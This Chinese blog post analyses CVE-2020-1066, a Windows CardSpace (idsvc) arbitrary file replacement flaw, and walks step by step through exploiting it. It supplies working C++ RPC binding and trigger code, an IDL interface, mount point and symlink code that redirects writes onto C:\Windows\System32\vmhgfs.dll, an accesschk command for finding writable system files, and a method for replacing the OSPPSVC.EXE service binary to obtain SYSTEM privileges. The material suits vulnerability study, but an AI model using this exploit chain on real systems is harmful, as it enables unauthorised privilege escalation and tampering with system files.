天天看点

CVE-2020-1066 任意文件替换漏洞分析和利用

1、背景

漏洞是作者cbwang505发现的,并且作者本人在他的​​GitHub​​​上传了EXP的利用代码,由于这个和RPC相关,自己也研究过RPC,所以分析了一下。但是在具体实现过程中自己遇到了很多问题,这里将它记录下来,同时帮助想要了解任意文件替换漏洞的同学入门(虽然自己也是菜狗)。任意文件替换漏洞的原理可以在​​这里​​了解一下,本文也会简单介绍一下任意文件替换漏洞是怎么产生的,以及我们怎么去利用。

首先每一个文件和文件夹都有它的访问属性如下所示,每一个用户对它的操作权限也不尽相同,从下面两张图可以看出system权限的用户对python有读写执行的权限,但是普通用户只有读和执行的权限。那么这里说明一个什么问题?说明普通用户改不了这个文件只能读取和执行。

CVE-2020-1066 任意文件替换漏洞分析和利用
CVE-2020-1066 任意文件替换漏洞分析和利用

虽然说普通用户没有权限去修改这个文件,但是普通用户可以创建链接的方式将两个文件链接起来。

想象一下,如果知道一个system权限的进程往一个普通用户也可以操作的目录写入文件,会产生什么样的问题?

1、普通用户将这个文件夹重定向到一个系统目录下的文件,比如C:\Windows\System32目录;

2、如果system权限的进程没有使用模拟(Impersonate)用户身份操作,那么system权限的进程就可以成功将文件写入到C:\Windows\System32目录中;

3、如果写入的文件是3.txt,普通用户还可以将3.txt链接到c:\windows\system32\mfc100.dll;

4、那么3.txt中的内容会将mfc100.dll的内容覆盖,假设我们能控制system权限的进程写入的内容,这不就完成dll劫持了吗?

​​原文​​​中给出了几种利用的场景有兴趣的可以去了解一下,这里是他使用到的​​工具​​。

2、CVE-2020-1066漏洞的利用

原文中作者观察到当调用idsvc服务的Proc0_RPCClientBindToService和Proc2_RPCDispatchClientUIRequest函数的时候会出现上述所诉的任意文件替换漏洞,这里简单看一下idsvc服务,推荐使用​​ProcessHacker​​查找服务,默认这个服务是关闭的,这里手动可以将其打开。

但是我们怎么样才能调用服务给出的函数,以及服务给出的函数有什么,这里稍微了解一下RPC的相关知识。首先RPC在windows进程通信中用到非常的频繁,几乎所有系统服务都用到了,下面是​​微软​​​给的一个简易介绍图,其实也看不出什么,我简单描述一下,首先服务的会注册一个RPC服务(可以是远程也可以是本地如下图所示),调用​​RpcServerUseProtseqEpA​​​函数定义使用的协议类型,以及提供的服务名字,接着调用​​RpcServerRegisterIf​​​注册服务,最后是​​RpcServerListen​​​等待客户端的链接,GitHub上有简单实现的​​用例​​。

CVE-2020-1066 任意文件替换漏洞分析和利用
CVE-2020-1066 任意文件替换漏洞分析和利用

在对RPC是大体如何工作之后,我们来关注一下RPC的各个函数是怎么调用起来的,在前面说过如果要调用rpc服务得先注册一个服务给我们使用,这里可以使用​​rpcview​​来观察,下图可以看到idsvc服务确实提供了一个服务,协议是ncalrpc,名字是31336F38236F3E2C6F3F2E6F20336F20236F21326F。

CVE-2020-1066 任意文件替换漏洞分析和利用

这里可以使用下面的代码来绑定到这个服务中,代码使用的是原作者的。

BOOL StartRpcService(){
  RPC_STATUS status;
  unsigned int  cMinCalls = 1;
  RPC_SECURITY_QOS SecurityQOS = {};
  RPC_WSTR StringBinding = nullptr;
  if (StartConnectingService()){
    status = RpcStringBindingComposeW(nullptr, (RPC_WSTR)L"ncalrpc", 0, (RPC_WSTR) L"31336F38236F3E2C6F3F2E6F20336F20236F21326F", nullptr, &StringBinding);

    if (status) {
      printf("RpcStringBindingComposeW Failed:%d\n", status);
      return(status);
    }

    status = RpcBindingFromStringBindingW(StringBinding, &hBinding);
    RpcStringFreeW(&StringBinding);
    if (status) {
      printf("RpcBindingFromStringBindingW Failed:%d\n", status);
      return(status);
    }
    SecurityQOS.Version = 1;
    SecurityQOS.ImpersonationType = RPC_C_IMP_LEVEL_IMPERSONATE;
    SecurityQOS.Capabilities = RPC_C_QOS_CAPABILITIES_DEFAULT;
    SecurityQOS.IdentityTracking = RPC_C_QOS_IDENTITY_STATIC;

    status = RpcBindingSetAuthInfoExW(hBinding, 0, 6u, 0xAu, 0, 0, (RPC_SECURITY_QOS*)&SecurityQOS);
    if (status) {
      printf("RpcBindingSetAuthInfoExW Failed:%d\n", status);
      return(status);
    }

    status = RpcEpResolveBinding(hBinding,boo_v1_0_c_ifspec);

    if (status) {
      printf("RpcEpResolveBinding Failed:%d\n", status);
      return(status);
    }

  }
  else
  {
    printf("Start Connecting Windows Cardspace Service Failed");
    return 0;
  }
  return 0;
}      

现在已经绑定到了这个服务中,如何调用它的方法?可以观察到这个服务提供了三个接口,如果对com不熟悉的同学可以把它想象成提供了三个类,每一个类都提供了一些方法给客户端使用,但是如何去找到这个三个类呢?就需要给定下图所示的Uuid了,可以理解成通过uuid找到三个类的对象,然后通过这个对象调用对应的方法(我们关注的是00645e6c-fc9f-4a0c-9896-f00b66297798),下图没有符号所以看不了对应的函数名字,但是有多少个方法以及传入的参数类型都已经给出了。

CVE-2020-1066 任意文件替换漏洞分析和利用
CVE-2020-1066 任意文件替换漏洞分析和利用

通过原作者的分析我们知道调用Proc0_RPCClientBindToService和Proc2_RPCDispatchClientUIRequest方法会产生漏洞,也就是第一个和第三个方法(这里不具体解析内部函数的实现,主要目的是演示如何调用RPC接口和任意文件替换的利用),这里需要在工程文件中新建一个.idl文件里面放入下面的代码,这里是导入符号之后的结构,导入方式在原作者GitHub上也详细给出了。

[
  uuid(00645e6c-fc9f-4a0c-9896-f00b66297798),
  version(1.0),
]
interface boo
{

  typedef struct Struct_RpcRequest
  {
    [unique][string][size_is(101)] wchar_t*   Type;
    [range(0, 20971520)] long   Length;
    [unique][size_is(Length)]char * Data;
  }RpcRequest;

  typedef struct Struct_RpcResponse
  {
    [range(0, 20971520)] long   Length;
    [unique][size_is(Length)]char * Data;
  }RpcResponse;

  long Proc0_RPCClientBindToService(
    [in] handle_t hBinding,
    [out][context_handle] void** arg_1);

  long Proc1_RPCDispatchClientRequest(
    [in]struct Struct_RpcRequest* arg_1,
    [out][ref]struct Struct_RpcResponse** arg_2);

  long Proc2_RPCDispatchClientUIRequest(
    [in][out][context_handle] void** arg_0,
    [in]struct Struct_RpcRequest* arg_1,
    [out][ref]struct Struct_RpcResponse** arg_2);
}      

然后在新建一个.acf文件放入一下代码

[
    implicit_handle (handle_t boo_IfHandle)
] 
interface boo
{
}      

点击生成,vs会创建三个文件,如下所示,_s代表的是服务端,_c是客户端,具体教程也可以参考​​msdn​​。最后导入头文件,但正常情况是编译不过的,需要在导入lib库

CVE-2020-1066 任意文件替换漏洞分析和利用
CVE-2020-1066 任意文件替换漏洞分析和利用

接着就能正常调用代码触发漏洞。

BOOL RunRpcService()
{
  RpcRequest* req = (RpcRequest*)CoTaskMemAlloc(sizeof(RpcRequest));
  req->Type = (wchar_t *)L"ManageRequest";
  req->Length = 0;
  req->Data = 0;
  RpcResponse* rep = (RpcResponse*)CoTaskMemAlloc(sizeof(RpcResponse));
  UINT32* ctx = 0;
  long ret = Proc0_RPCClientBindToService(hBinding, (void**)&ctx);
  printf("Proc0_RPCClientBindToService :%d\n", ret);
  ret = Proc2_RPCDispatchClientUIRequest((void**)&ctx, req, &rep);
  printf("Proc2_RPCDispatchClientUIRequest :%08x\n", ret);
  return 0;
}      

可以使用procmonitor抓一下行为,可以看到idsvc服务进程往C:\Users\sam\AppData\Local\Microsoft\目录中写入了CardSpace目录和其他文件,查看Microsoft目录可以知道当前用户拥有文件夹的完成控制权限的,而其idsvc服务在操作文件的时候没有使用模拟(Impersonate)用户身份。

CVE-2020-1066 任意文件替换漏洞分析和利用
CVE-2020-1066 任意文件替换漏洞分析和利用

为了更加直观的观察,我们控制C:\Users\sam\AppData\Local\Microsoft\CardSpace目录指向桌面,让它写入到桌面试试看,这里导入GitHub​​创建链接​​的工程

CVE-2020-1066 任意文件替换漏洞分析和利用

运行之后可以看到下面的效果,原本是访问C:\Users\sam\AppData\Local\Microsoft\CardSpace目录的CardSpace.db文件,但是由于我们创建了一个新的挂载点到桌面,所以路径就变成了桌面。

CVE-2020-1066 任意文件替换漏洞分析和利用

经过测试之后发现,idsvc服务会读取CardSpace.db文件的内容,并且写入到C:\Users\sam\AppData\Local\Microsoft\CardSpace\CardSpace.db.atomic文件中,那么到了这里已经能正常利用了,需要注意的我们能覆盖的文件必须是system用户有权限读写的,下面命令就是找system32下可以让system读写操作的dll,在提一下TrustedInstaller用户的权限比system权限还高,大部分系统自带的文件都只有TrustedInstaller用户才能写。

CVE-2020-1066 任意文件替换漏洞分析和利用
CVE-2020-1066 任意文件替换漏洞分析和利用
accesschk.exe -s -w  "nt authority\system"  c:\windows\system32\*.dll      

1、创建C:\Users\sam\AppData\Local\Microsoft\CardSpace到\RPC Control

2、创建链接\RPC Control\CardSpace.db===>\??\C:\Users\sam\Desktop\CardSpace.db  == Faker.exe(要替换的进程)

3、创建链接\RPC Control\CardSpace.db.atomic===>\??\C:\Windows\System32\vmhgfs.dll (这个dll能被system权限的用户修改)

if (CreateDirectory((LPCWSTR)L"C:\\Users\\sam\\AppData\\Local\\Microsoft\\CardSpace", nullptr) || (GetLastError() == ERROR_ALREADY_EXISTS)){
    if (!ReparsePoint::CreateMountPoint(L"C:\\Users\\sam\\AppData\\Local\\Microsoft\\CardSpace", L"\\RPC Control", L"")){//\RPC Control  C:\\Users\\sam\\Desktop
      printf("Error creating mount point - %d\n", GetLastError());
      return 0;
    }
  }else{
    printf("Error creating directory - %d\n", GetLastError());
    return 0;
  }
   
  if (CreateSymlink(NULL, L"\\RPC Control\\CardSpace.db", L"\\??\\C:\\Users\\sam\\Desktop\\CardSpace.db") == false) {
    printf("[+]CreateSymlink Failed,error: %d\n", GetLastError());
    return FALSE;
  }

  if (CreateSymlink(NULL,L"\\RPC Control\\CardSpace.db.atomic", L"\\??\\C:\\Windows\\System32\\vmhgfs.dll") == false){//.atomic   
    //\\??\\C:\\Program Files\\Common Files\\microsoft shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE
    printf("[+]CreateSymlink Failed,error: %d\n", GetLastError());
    return FALSE;
  }      

在桌面准备一个CardSpace.db这个会替换vmhgfs.dll

CVE-2020-1066 任意文件替换漏洞分析和利用
CVE-2020-1066 任意文件替换漏洞分析和利用

运行之后就完成替换了如下所示

CVE-2020-1066 任意文件替换漏洞分析和利用

3、提权

最后任意文件替换漏洞分析分析了,那说好的提权呢?原作者利用的是​​Bit COM​​提权的漏洞,有兴趣的可以去看看,这里我选择替换windows的服务进程从而实现提权\\??\\C:\\Program Files\\Common Files\\microsoft shared\\OfficeSoftwareProtectionPlatform\\OSPPSVC.EXE,这个OSPPSVC.EXE进程system用户能读写。将notepad.exe改名为CardSpace.db放到桌面,然后执行boo.exe完成notepad替换为OSPPSVC。

CVE-2020-1066 任意文件替换漏洞分析和利用

最后启动服务可以看到notepad是system权限的

CVE-2020-1066 任意文件替换漏洞分析和利用

我的代码放在了​​GitHub​​上,需要注意的是桌面路径是写死的,需要根据自己的名字去改,还有就是需要先编译CommonUtils生成CommonUtils.lib在生成boo.exe(默认x86 release版本)。

继续阅读